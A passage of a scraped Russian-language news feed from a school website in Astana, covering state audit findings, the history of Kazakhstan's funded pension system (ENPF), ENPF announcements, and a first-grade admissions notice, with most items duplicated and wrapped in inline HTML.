государственными органами, организациями и должностными лицами предписания об устранении выявленных нарушений и о рассмотрении ответственности лиц, их допустивших. Из общей суммы установленных нарушений подлежит возмещению/восстановлению свыше 18,9 млрд. тенге, из которых на сегодняшний день возмещено в доход бюджета и восстановлены, путем выполнения работ и услуг, поставкой товаров более 5,1 млрд. тенге.По оставшейся сумме по возмещению в бюджет и восстановлению, путем выполнения работ и услуг, ведутся уголовные, судебные и претензионно- исковые работы.За допущенные нарушения привлечены к дисциплинарной ответственности 65 должностных лиц.А также, одним из мер реагирования являются, в случаях выявления признаков уголовных или административных правонарушений в действиях должностных лиц объекта государственного аудита передача материалов с соответствующими аудиторскими доказательствами в правоохранительные органы или органы, уполномоченные возбуждать и (или) рассматривать дела об административных правонарушениях.Так, за отчетный период по возбужденным в отношении должностных лиц объектов аудита административным делам, наложены штрафы на общую сумму 5,4 млн. тенге по 52 постановлениям, из которых поступили бюджет 4,3 млн. тенге или 79,6%.В правоохранительные органы для принятия процессуального решения переданы 24 аудиторских материала.По итогам аудита даны рекомендации принять меры по совершенствованию отдельных нормативных правовых актов. ДеятельностьДепартамента, направленная на предупреждение и профилактику коррупционных правонарушений и соблюдение Этического Кодекса государственных служащих Республики Казахстан, проводится в соответствии с разработанным планом мероприятий, во взаимодействии с правоохранительными органами и с представителями Совета по этике.В целях создания обстановки нетерпимости к проявлениям коррупции, проводится целенаправленная работа, в том числе техническая учеба с сотрудниками Департамента по отдельному плану в том числе по антикорруционному законодательству, до сведения каждого специалиста доведено требование по неукоснительному соблюдению положений антикоррупционного законодательства, этических и профессиональных норм поведения на объекте аудита. При направлении специалистов на объект аудита, в обязательном порядке проводится подготовительная работа, инструктаж по вопросам качества аудита, соответствия его Стандартам государственного аудита и финансового контроля и профилактики коррупционных правонарушений.Данные вопросы профилактики и недопущения коррупционных правонарушений среди сотрудников Департамента, находятся на постоянном личном контроле руководства Департамента.В целях своевременного пресечения необоснованного использования бюджетных средств и других финансовых нарушений действует телефон доверия: 35-20-23, в фойе здания Департамента размещен ящик для приема обращений физическихи юридических лиц и график приема гражданпо адресу: Петрова 5. 24mektepThu, 06 Dec 2018 18:30:13 +0600http://24.astana-bilim.kz/news/?pkid=1544099565874147Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1544099565874147Копите на радость.http://24.astana-bilim.kz/news/?pkid=1537003750030338Копите на радостьНакопительной пенсионной системе Казахстана – 20 лет. За эти годы наша страна прошла огромный путь развития, как в социально-демографическом, так и в экономическом плане, преодолевая немалые трудности и бросая вызов все новым веяниям времени. Вместе с этим и казахстанкая пенсионная система перетерпела существенные изменения, модернизируясь и совершенствуясь под новые реалии жизни. Сделать небольшой экскурс по страницам истории казахстанской пенсионки и узнать о перспективах ее развития нам помог директор филиала г. Астана Шарипов М.Т.Вопрос о необходимости совершенствования советской пенсионной модели встал на заре независимости. После развала Союза из-за экономических сложностей молодого государства существовавшая в советское время солидарная пенсионная система оказалась несостоятельной. Казахстан начал изучать мировой опыт в поисках идеальной для себя модели. Наиболее оптимальным оказалась чилийская модель, котораяв 80-х годах была признана одной из лучших в мире. По примеру Чили и согласно рекомендациям Всемирного Банка, пенсионные реформы были проведены в целом ряде стран Латинской Америки, Восточной Европы и СНГ. Казахстанская модель переняла ее главный принцип – обязательные ежемесячные пенсионные взносы работников в накопительный пенсионный фонд в размере, установленном как процент от дохода, аккумулируемых на индивидуальных пенсионных счетах с капитализируемым инвестиционным доходом. После многочисленных общественных обсуждений, 20 июня 1997 года был принят Закон «О пенсионном обеспечении в Республике Казахстан». Таким образом, Казахстан первым из стран постсоветского пространства перешел к смешанной пенсионной системе, основой которой стала накопительная модель. В сентябре 1997 года Постановлением Правительства РК был создан Государственный накопительный пенсионный фонд (ГНПФ). C начала 1998 года казахстанцы начали перечислять 10 процентов дохода в качестве обязательного пенсионного взноса на индивидуальные пенсионные счета. С этого года наряду с государственным пенсионным фондом в Казахстане стали появляться частные пенсионные фонды. Каждый гражданин имел право выбрать пенсионный фонд, в который он будет перечислять взносы. Если он затруднялся сделать такой выбор, то взносы по умолчанию перечислялись в ГНПФ. Вскоре в 2013 году на базе ГНПФ был создан Единый накопительный пенсионный фонд (ЕНПФ). После того как ЕНПФ передали активы частных фондов, сократились административные и операционные расходы, а также значительно снижен уровень комиссионных вознаграждений по сравнению с комиссиями, взимаемыми частными фондами. Также устранен риск совершения заведомо убыточных сделок с аффилированными лицами. Прекратилась злокачественная миграция вкладчиков из одного фонда в другой, что способствовало снижению общей эффективности системы. При этом появление ЕНПФ не повлияло на пенсионную систему. Как и прежде, в Казахстане сохраняется многоуровневая система: солидарный компонент, обязательная накопительная часть и добровольные накопления. Совокупная пенсия также складывается за счет выплат из двух источников: из государственного бюджета в виде базовой и солидарной пенсий, и из ЕНПФ за счет имеющихся накоплений.Пенсионная система постоянно модернизируется, чтобы соответствовать вызовам времени. В ЕНПФ ведутся актуарные исследования и прогнозы дальнейшего развития накопительной пенсионной системы Казахстана при различных сценариях в перспективе нескольких десятилетий. Специалисты Фонда также изучают международный опыт, в частности тех стран, где достаточно развито то или иное направление развития накопительной пенсионной системы. Так, разработка условно-накопительного компонента успешно используется в Швеции. В то же время большое внимание развитию добровольных пенсионных накоплений уделяется в Германии и Малайзии. Опыт Сингапура привлекателен альтернативным использованием пенсионных накоплений, а Гонконга – инвестиционной стратегией управления пенсионными активами. Однако несмотря на планируемые нововведения, Казахстан сохранит имеющиеся принципы диверсификации пенсионного обеспечения, когда за счет достоинств одного компонента системы компенсируются недостатки другого. Так, солидарный компонент постепенно будет заменяться накопительным, пока в 2040-х, когда на пенсию начнут выходить люди, не имеющие стажа до 1998 года, полностью не исчезнет. Кроме того, в Национальном Банке Республики Казахстан идет активная работа по разработке предложений о передаче части функций управления пенсионными активами в конкурентную среду: частным казахстанским и зарубежным компаниям. Планируется, что вкладчика наделят правом выбора инвестиционной стратегии и частной управляющей компании. При этом ЕНПФ останется единым администратором и оператором всех финансовых и информационных потоков накопительной пенсионной системы РК. Помимо структурных изменений будут и качественные. Свои условия диктует быстрое развитие информационных технологий. В настоящее время в целях поддержания качества оказания услуг ЕНПФ работает над созданием максимального доступа к услугам фонда, в том числе через Интернет. Уже сегодня практически вся линейка пенсионных услуг доступна в цифровом формате, и это в корне меняет стиль взаимоотношений с нашими вкладчиками, подход к обслуживанию становится все более персональным, более оперативным.Копите на радостьНакопительной пенсионной системе Казахстана – 20 лет. За эти годы наша страна прошла огромный путь развития, как в социально-демографическом, так и в экономическом плане, преодолевая немалые трудности и бросая вызов все новым веяниям времени. Вместе с этим и казахстанкая пенсионная система перетерпела существенные изменения, модернизируясь и совершенствуясь под новые реалии жизни. Сделать небольшой экскурс по страницам истории казахстанской пенсионки и узнать о перспективах ее развития нам помог директор филиала г. Астана Шарипов М.Т.Вопрос о необходимости совершенствования советской пенсионной модели встал на заре независимости. После развала Союза из-за экономических сложностей молодого государства существовавшая в советское время солидарная пенсионная система оказалась несостоятельной. Казахстан начал изучать мировой опыт в поисках идеальной для себя модели. Наиболее оптимальным оказалась чилийская модель, котораяв 80-х годах была признана одной из лучших в мире. По примеру Чили и согласно рекомендациям Всемирного Банка, пенсионные реформы были проведены в целом ряде стран Латинской Америки, Восточной Европы и СНГ. Казахстанская модель переняла ее главный принцип – обязательные ежемесячные пенсионные взносы работников в накопительный пенсионный фонд в размере, установленном как процент от дохода, аккумулируемых на индивидуальных пенсионных счетах с капитализируемым инвестиционным доходом. После многочисленных общественных обсуждений, 20 июня 1997 года был принят Закон «О пенсионном обеспечении в Республике Казахстан». Таким образом, Казахстан первым из стран постсоветского пространства перешел к смешанной пенсионной системе, основой которой стала накопительная модель. В сентябре 1997 года Постановлением Правительства РК был создан Государственный накопительный пенсионный фонд (ГНПФ). C начала 1998 года казахстанцы начали перечислять 10 процентов дохода в качестве обязательного пенсионного взноса на индивидуальные пенсионные счета. С этого года наряду с государственным пенсионным фондом в Казахстане стали появляться частные пенсионные фонды. Каждый гражданин имел право выбрать пенсионный фонд, в который он будет перечислять взносы. Если он затруднялся сделать такой выбор, то взносы по умолчанию перечислялись в ГНПФ. Вскоре в 2013 году на базе ГНПФ был создан Единый накопительный пенсионный фонд (ЕНПФ). После того как ЕНПФ передали активы частных фондов, сократились административные и операционные расходы, а также значительно снижен уровень комиссионных вознаграждений по сравнению с комиссиями, взимаемыми частными фондами. Также устранен риск совершения заведомо убыточных сделок с аффилированными лицами. Прекратилась злокачественная миграция вкладчиков из одного фонда в другой, что способствовало снижению общей эффективности системы. При этом появление ЕНПФ не повлияло на пенсионную систему. Как и прежде, в Казахстане сохраняется многоуровневая система: солидарный компонент, обязательная накопительная часть и добровольные накопления. Совокупная пенсия также складывается за счет выплат из двух источников: из государственного бюджета в виде базовой и солидарной пенсий, и из ЕНПФ за счет имеющихся накоплений.Пенсионная система постоянно модернизируется, чтобы соответствовать вызовам времени. В ЕНПФ ведутся актуарные исследования и прогнозы дальнейшего развития накопительной пенсионной системы Казахстана при различных сценариях в перспективе нескольких десятилетий. Специалисты Фонда также изучают международный опыт, в частности тех стран, где достаточно развито то или иное направление развития накопительной пенсионной системы. Так, разработка условно-накопительного компонента успешно используется в Швеции. В то же время большое внимание развитию добровольных пенсионных накоплений уделяется в Германии и Малайзии. Опыт Сингапура привлекателен альтернативным использованием пенсионных накоплений, а Гонконга – инвестиционной стратегией управления пенсионными активами. Однако несмотря на планируемые нововведения, Казахстан сохранит имеющиеся принципы диверсификации пенсионного обеспечения, когда за счет достоинств одного компонента системы компенсируются недостатки другого. Так, солидарный компонент постепенно будет заменяться накопительным, пока в 2040-х, когда на пенсию начнут выходить люди, не имеющие стажа до 1998 года, полностью не исчезнет. Кроме того, в Национальном Банке Республики Казахстан идет активная работа по разработке предложений о передаче части функций управления пенсионными активами в конкурентную среду: частным казахстанским и зарубежным компаниям. Планируется, что вкладчика наделят правом выбора инвестиционной стратегии и частной управляющей компании. При этом ЕНПФ останется единым администратором и оператором всех финансовых и информационных потоков накопительной пенсионной системы РК. Помимо структурных изменений будут и качественные. Свои условия диктует быстрое развитие информационных технологий. В настоящее время в целях поддержания качества оказания услуг ЕНПФ работает над созданием максимального доступа к услугам фонда, в том числе через Интернет. Уже сегодня практически вся линейка пенсионных услуг доступна в цифровом формате, и это в корне меняет стиль взаимоотношений с нашими вкладчиками, подход к обслуживанию становится все более персональным, более оперативным.24mektepSat, 15 Sep 2018 15:27:27 +0600http://24.astana-bilim.kz/news/?pkid=1537003750030338Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1537003750030338ПРЕСС-РЕЛИЗ «6» сентября 2018 годаhttp://24.astana-bilim.kz/news/?pkid=1537003645286733<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1537003645286733.jpg" /> Новый канал информирования вкладчиков (получателей) г. Астаны ЕНПФ помимо предоставления качественного уровня обслуживания стремится доносить актуальную и полезную информацию о накопительной пенсионной системе и собственных услугах до всех казахстанцев. Для этого Фонд использует все возможности: от организации выездных презентаций и активного взаимодействия с представителями СМИ до развития дополнительных каналов дистанционного взаимодействия. Напомним, в июле 2018 года ЕНПФ внедрил канал в мессенджере WhatsApp, позволяющий получить информацию и проконсультироваться по вопросам пенсионного обеспечения лицам, находящимся как в Казахстане, так и за рубежом. Для расширения каналов получения информации ЕНПФ активно сотрудничает с порталом электронного правительства Республики Казахстан и акиматами всех областей и городов Астана и Алматы. Меморандумы о сотрудничестве и взаимодействии с последними подписаны в прошлом году. Кроме того, 6 сентября 2018 года ЕНПФ заключил соглашение о сотрудничестве с Городским центром мониторинга и оперативного реагирования iKomek акимата города Астаны. Отметим, что Центр круглосуточно и без выходных консультирует по всем городским услугам жизнеобеспечения, принимает жалобы и обращения жителей, проводит мониторинг социальных сетей и предоставляет ответы на обращения через социальные сети. В каталоге услуг iKomek более 770 услуг, к которым после подписания соглашения подключилось и информирование о деятельности и услугах ЕНПФ, а также предоставление справочной информации по контактам столичного Филиала АО «ЕНПФ». ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Городской центр мониторинга и оперативного реагирования выступает как инструмент контроля и аналитики столицы, целями которого являются прием обращений жителей, координация работы коммунальных и оперативных служб при решении инцидентов, аварий, контроль своевременного закрытия инцидентов, выстраивание политики превентивных мер вместо «тушения пожаров», оперативный контроль за ситуацией «здесь» и «сейчас» через городскую систему видеонаблюдения, выявление и обработка инцидентов правонарушений.Центр работает 365/24/7.Обращения можете подавать по номеру дозвона – 109, через мобильное приложение «SmartAstana» или официальные страницы в социальных сетях. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1537003645286733.jpg" /> Новый канал информирования вкладчиков (получателей) г. Астаны ЕНПФ помимо предоставления качественного уровня обслуживания стремится доносить актуальную и полезную информацию о накопительной пенсионной системе и собственных услугах до всех казахстанцев. Для этого Фонд использует все возможности: от организации выездных презентаций и активного взаимодействия с представителями СМИ до развития дополнительных каналов дистанционного взаимодействия. Напомним, в июле 2018 года ЕНПФ внедрил канал в мессенджере WhatsApp, позволяющий получить информацию и проконсультироваться по вопросам пенсионного обеспечения лицам, находящимся как в Казахстане, так и за рубежом. Для расширения каналов получения информации ЕНПФ активно сотрудничает с порталом электронного правительства Республики Казахстан и акиматами всех областей и городов Астана и Алматы. Меморандумы о сотрудничестве и взаимодействии с последними подписаны в прошлом году. Кроме того, 6 сентября 2018 года ЕНПФ заключил соглашение о сотрудничестве с Городским центром мониторинга и оперативного реагирования iKomek акимата города Астаны. Отметим, что Центр круглосуточно и без выходных консультирует по всем городским услугам жизнеобеспечения, принимает жалобы и обращения жителей, проводит мониторинг социальных сетей и предоставляет ответы на обращения через социальные сети. В каталоге услуг iKomek более 770 услуг, к которым после подписания соглашения подключилось и информирование о деятельности и услугах ЕНПФ, а также предоставление справочной информации по контактам столичного Филиала АО «ЕНПФ». ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Городской центр мониторинга и оперативного реагирования выступает как инструмент контроля и аналитики столицы, целями которого являются прием обращений жителей, координация работы коммунальных и оперативных служб при решении инцидентов, аварий, контроль своевременного закрытия инцидентов, выстраивание политики превентивных мер вместо «тушения пожаров», оперативный контроль за ситуацией «здесь» и «сейчас» через городскую систему видеонаблюдения, выявление и обработка инцидентов правонарушений.Центр работает 365/24/7.Обращения можете подавать по номеру дозвона – 109, через мобильное приложение «SmartAstana» или официальные страницы в социальных сетях. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepSat, 15 Sep 2018 15:26:13 +0600http://24.astana-bilim.kz/news/?pkid=1537003645286733Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1537003645286733АО «ЕНПФ» приглашает на «День открытых дверей» «НАКОПИТЕЛЬНОЙ ПЕНСИОННОЙ СИСТЕМЕ РК 20 ЛЕТ: ИСТОРИЯ И ПЕРЕСПЕКТИВЫ РАЗВИТИЯ»http://24.astana-bilim.kz/news/?pkid=1537003570409188<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1537003570409188.jpg" /> АО «ЕНПФ» приглашает на «День открытых дверей»«НАКОПИТЕЛЬНОЙ ПЕНСИОННОЙ СИСТЕМЕ РК 20 ЛЕТ: ИСТОРИЯ И ПЕРЕСПЕКТИВЫ РАЗВИТИЯ» АО «ЕНПФ» приглашает всех желающих на «День открытых дверей», который пройдет 20 сентября 2018 года. Ждем Вас с 10:00 ч. до 17:00 часов в офисе филиала г. Астана , по следующему адресу: улица Т.Бигельдинова, 12. Всем участникам мероприятия будет предоставлена информация об истории и переспективах развития пенсионной системы Республики Казахстан. Также посетители могут получить индивидуальные консультации у сотрудников Фонда. enpf.kz<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1537003570409188.jpg" /> АО «ЕНПФ» приглашает на «День открытых дверей»«НАКОПИТЕЛЬНОЙ ПЕНСИОННОЙ СИСТЕМЕ РК 20 ЛЕТ: ИСТОРИЯ И ПЕРЕСПЕКТИВЫ РАЗВИТИЯ» АО «ЕНПФ» приглашает всех желающих на «День открытых дверей», который пройдет 20 сентября 2018 года. Ждем Вас с 10:00 ч. до 17:00 часов в офисе филиала г. Астана , по следующему адресу: улица Т.Бигельдинова, 12. Всем участникам мероприятия будет предоставлена информация об истории и переспективах развития пенсионной системы Республики Казахстан. Также посетители могут получить индивидуальные консультации у сотрудников Фонда. enpf.kz24mektepSat, 15 Sep 2018 15:23:47 +0600http://24.astana-bilim.kz/news/?pkid=1537003570409188Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1537003570409188Прием первоклассников на 2018-2019 учебный годhttp://24.astana-bilim.kz/news/?pkid=1534579529064685<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1534579529064685.jpeg" /> <img src="/files/sites/1383501249717933/files/%D0%9F%D1%80%D0%B8%D0%B5%D0%BC/%D0%BF%D1%80%D0%B8%D0%BA%D0%B0%D0%B7.jpeg" alt="" width="1200" height="1200" /> <span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">1. С 1 июня по 30 августа 2018 года средней школы №24 проводить приём документов в 1 класс.<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">(дети 2011- 2012 г.)<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">Режим работы: с 9.00 до 14.00.<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">В суббот}' - с 9.00- до 12.00.<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">(Перерыв: 13.00-14.00)<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">Для приёма детей в первый класс необходима следящие документы:<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">1. Копия свидетельства о рождении ребенка;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">2. Справка.о состоянии здоровья ребенка;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">3. Фотография размером 3*4 см- в количестве 2 штук;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">4. Файловая папка голубого цвета на 10 листов (прозрачный);<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">5. Ключ ЭЦП для заполнения заявления родителя;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1534579529064685.jpeg" /> <img src="/files/sites/1383501249717933/files/%D0%9F%D1%80%D0%B8%D0%B5%D0%BC/%D0%BF%D1%80%D0%B8%D0%BA%D0%B0%D0%B7.jpeg" alt="" width="1200" height="1200" /> <span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">1. С 1 июня по 30 августа 2018 года средней школы №24 проводить приём документов в 1 класс.<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">(дети 2011- 2012 г.)<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">Режим работы: с 9.00 до 14.00.<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">В суббот}' - с 9.00- до 12.00.<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">(Перерыв: 13.00-14.00)<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">Для приёма детей в первый класс необходима следящие документы:<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">1. Копия свидетельства о рождении ребенка;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;">2. Справка.о состоянии здоровья ребенка;<br style="background-color:transparent;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;text-align:left;text-decoration:none;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;" /><span style="float:none;background-color:#ffffff;color:#000000;font-family:Verdana, Arial, Helvetica, 